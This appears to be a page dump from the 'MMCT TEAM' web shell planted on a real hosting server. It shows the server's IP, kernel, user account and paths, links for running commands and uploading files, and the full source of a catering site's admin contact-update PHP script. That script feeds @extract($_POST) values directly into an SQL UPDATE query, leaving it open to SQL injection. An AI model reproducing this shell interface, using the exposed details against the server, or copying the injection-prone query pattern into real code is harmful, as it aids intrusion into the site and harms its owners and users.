MMCT TEAM
Server IP : 103.53.40.154  /  Your IP : 18.188.227.192
Web Server : Apache
System : Linux md-in-35.webhostbox.net 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
User : ppcad7no ( 715)
PHP Version : 8.2.25
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home2/ppcad7no/pccaterers.in/admin/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home2/ppcad7no/pccaterers.in/admin/contact_update.php
<?php 
require_once("../includes/dbsmain.inc.php"); 
if(isset($_POST['ContactUpdate'])){
    @extract($_POST);
	db_query("update tbl_admin set 
	             admin_company_name='$admin_company_name',
	             admin_name='$admin_name',
	             admin_email='$admin_email',
	             admin_alt_email='$admin_alt_email',
	             admin_mobile='$admin_mobile',
				 admin_phone='$admin_phone',
					 admin_fax='$admin_fax',
				 admin_address='$admin_address',
				 admin_city='$admin_city',
				 admin_state='$admin_state',
				 admin_country='$admin_country',
				 admin_zip_code='$admin_zip_code',
				  admin_whatsapp_number='$admin_whatsapp_number',
				 admin_call_now_number='$admin_call_now_number',
				
				 admin_website_url='$admin_website_url',
				 admin_catalog_url='$admin_catalog_url'
				 where admin_user_type='Admin'");
	             $msg="Contact details updated successfully !";
              }
 $sql="select * from tbl_admin where admin_user_type='Admin'";
 $result2=db_query($sql);
 $data_new=mysqli_fetch_array($result2);
?>
<?php include ('top.inc.php'); ?>
            <link href="styles.css" rel="stylesheet" type="text/css">
            <script type="text/javascript">
function nospaces(t){
if(t.value.match(/\s/g)){
alert('Sorry, you are not allowed to enter any spaces');
t.value=t.value.replace(/\s/g,'');
}
}
</script>
            <table width="100%" border="0" id="nab" cellpadding="0" cellspacing="0" class="tableForm">
              <tr>
                <td colspan="2" class="tdLabel" id="pageHead"><div id="txtPageHead" style="font-weight: bold">Contact Update </div></td>
              </tr>
              <?php if(!empty($msg)){ ?>
              <tr>
                <td width="13%" class="tdLabel">&nbsp;</td>
                <td width="87%" align="left" id="tab"><font color="#2F5E00" style="margin-left:205px; font-weight:bold;" size="2"> <?php echo $msg;?> </font> </td>
              </tr>
              <? } ?>
              <tr>
                <td colspan="2" align="center" id="tab"><form name="form1" method="post" enctype="multipart/form-data">
                    <table width="78%" border="0" cellpadding="0" cellspacing="0" class="tableForm" style="margin-left:80px;border:1px outset #fff; padding:15px;" >
                      <tr>
                        <td class="tdLabel" width="10%" style="padding:5px;"><span style="font-weight: bold">Company&nbsp;Name</span>&nbsp;:</td>
                        <td width="22%" style="padding:5px;"><input type="text" name="admin_company_name" class="textfield" style="width:263px; height:28px; padding-left:4px; border:1px solid #CCCCCC; color:#5D5D5D" value="<?=$data_new['admin_company_name']?>">
                        </td>
                        <td class="tdLabel" width="11%" style="padding:5px;"><span style="font-weight: bold">Contact&nbsp;Name</span>&nbsp;:</td>
                        <td style="padding:5px;" width="37%"><input type="text" name="admin_name" class="textfield" style="width:263px; height:28px; padding-left:4px; border:1px solid #CCCCCC; color:#5D5D5D" value="<?=$data_new['admin_name']?>">
                        </td>
                      </tr>
                      <tr>
                        <td class="tdLabel" style="padding:5px;"><b>Email Id</b>&nbsp;:</td>
                        <td style="padding:5px;"><input type="text" name="admin_email" class="textfield" style="width:263px; height:28px; padding-left:4px; border:1px solid #CCCCCC; color:#5D5D5D" value="<?=$data_new['admin_email']?>">
                        </td>
                        <td class="tdLabel" style="padding:5px;"><b>Alternate Email</b>&nbsp;:</td>
                        <td style="padding:5px;"><input type="text" name="admin_alt_email" class="textfield" style="width:263px; height:28px; padding-left:4px; border:1px solid #CCCCCC; color:#5D5D5D" value="<?=$data_new['admin_alt_email']?>">
                        </td>
                      </tr>
                      <tr>
                        <td class="tdLabel" style="padding:5px;"><b>Mobile</b>&nbsp;:</td>
                        <td style="padding:5px;"><input type="text" name="admin_mobile" class="textfield" style="width:263px; height:28px; padding-left:4px; border:1px solid #CCCCCC; color:#5D5D5D" value="<?=$data_new['admin_mobile']?>">
                        </td>
                        <td class="tdLabel" style="padding:5px;"><b>Phone</b>&nbsp;:</td>
                        <td style="padding:5px;"><input type="text" name="admin_phone" class="textfield" style="width:263px; height:28px; padding-left:4px; border:1px solid #CCCCCC; color:#5D5D5D" value="<?=$data_new['admin_phone']?>">
                        </td>
                      </tr>
                      <tr>
                        <td class="tdLabel" style="padding:5px;"><b>Fax</b>&nbsp;:</td>
                        <td style="padding:5px;"><input type="text" name="admin_fax" class="textfield" style="width:263px; height:28px; padding-left:4px; border:1px solid #CCCCCC; color:#5D5D5D" value="<?=$data_new['admin_fax']?>">
                        </td>
                        <td class="tdLabel" style="padding:5px;"><b>Address</b>&nbsp;:</td>
                        <td style="padding:5px;"><input type="text" name="admin_address" class="textfield" style="width:263px; height:28px; padding-left:4px; border:1px solid #CCCCCC; color:#5D5D5D"  value="<?=$data_new['admin_address']?>">
                        </td>
                      </tr>
                      <tr>
                        <td class="tdLabel" style="padding:5px;"><b>City</b>&nbsp;:</td>
                        <td style="padding:5px;"><input type="text" name="admin_city" class="textfield" style="width:263px; height:28px; padding-left:4px; border:1px solid #CCCCCC; color:#5D5D5D" value="<?=$data_new['admin_city']?>">
                        </td>
                        <td class="tdLabel" style="padding:5px;"><span style="font-weight: bold">State</span>.&nbsp;:</td>
                        <td style="padding:5px;"><input type="text" name="admin_state" class="textfield" style="width:263px; height:28px; padding-left:4px; border:1px solid #CCCCCC; color:#5D5D5D"  value="<?=$data_new['admin_state']?>">
                        </td>
                      </tr>
                      <tr>
                        <td class="tdLabel" style="padding:5px;"><span style="font-weight: bold">Country</span>&nbsp;:</td>
                        <td style="padding:5px;"><input type="text" name="admin_country" class="textfield" style="width:263px; height:28px; padding-left:4px; border:1px solid #CCCCCC; color:#5D5D5D" value="<?=$data_new['admin_country']?>">
                        </td>
                        <td class="tdLabel" style="padding:5px;"><b>Zip Code</b>&nbsp;:</td>
                        <td style="padding:5px;"><input type="text" name="admin_zip_code" class="textfield" style="width:263px; height:28px; padding-left:4px; border:1px solid #CCCCCC; color:#5D5D5D" value="<?=$data_new['admin_zip_code']?>">
                        </td>
                      </tr>
                      <tr>
                        <td class="tdLabel" style="padding:5px;"><span style="font-weight: bold">Website URL</span>&nbsp;:</td>
                        <td style="padding:5px;"><input type="text" name="admin_website_url" class="textfield" style="width:263px; height:28px; padding-left:4px; border:1px solid #CCCCCC; color:#5D5D5D" value="<?=$data_new['admin_website_url']?>">
                          <br />
                          [ <b style="color:#EA0000; font-size:10px;">http://tradekeyindia.in/tkinewsuperadmin/Industrial</b> ] </td>
                        <td class="tdLabel" style="padding:5px;"><span style="font-weight: bold">Calalog URL</span>&nbsp;:</td>
                        <td style="padding:5px;"><input type="text" name="admin_catalog_url" class="textfield" style="width:263px; height:28px; padding-left:4px; border:1px solid #CCCCCC; color:#5D5D5D" value="<?=$data_new['admin_catalog_url']?>">
                          <br />
                          [ <b style="color:#EA0000">http://www.tradekeyindia.com/abc</b> ] </td>
                      </tr>
                      
                        <tr>
                             <?php if($data_new['admin_whatsapp_option']=="Yes")
                      {?>
                        <td class="tdLabel" style="padding:5px;"><span style="font-weight: bold">WhatsApp Number</span>&nbsp;:</td>
                        <td style="padding:5px;"><input type="text" name="admin_whatsapp_number" class="textfield" style="width:263px; height:28px; padding-left:4px; border:1px solid #CCCCCC; color:#5D5D5D" value="<?=$data_new['admin_whatsapp_number']?>">
                        </td>
                         <?}?>
                           <?php if($data_new['admin_call_now_option']=="Yes")
                      {?>
                        <td class="tdLabel" style="padding:5px;"><span style="font-weight: bold">Call Now Number</span>&nbsp;:</td>
                        <td style="padding:5px;"><input type="text" name="admin_call_now_number" class="textfield" style="width:263px; height:28px; padding-left:4px; border:1px solid #CCCCCC; color:#5D5D5D" value="<?=$data_new['admin_call_now_number']?>">
                        </td>
                        <?}?>
                      </tr>
                      
                        
                      
                    
                      
                   
                      <tr>
                        <td class="tdLabel" style="padding:5px;" colspan="4" align="left"><input type="submit" class="button" style="font-size:14px; font-weight:bold; height:31px; margin-left:360px; background-color:#7F7F7F; border-radius:4px; cursor:pointer; width:105px;" value="Submit" name="ContactUpdate" /></td>
                      </tr>
                    </table>
                  </form></td>
              </tr>
              <tr>
                <td colspan="2" class="tdLabel">&nbsp;</td>
              </tr>
            </table>
            <?php include ('bottom.inc.php'); ?>

MMCT - 2023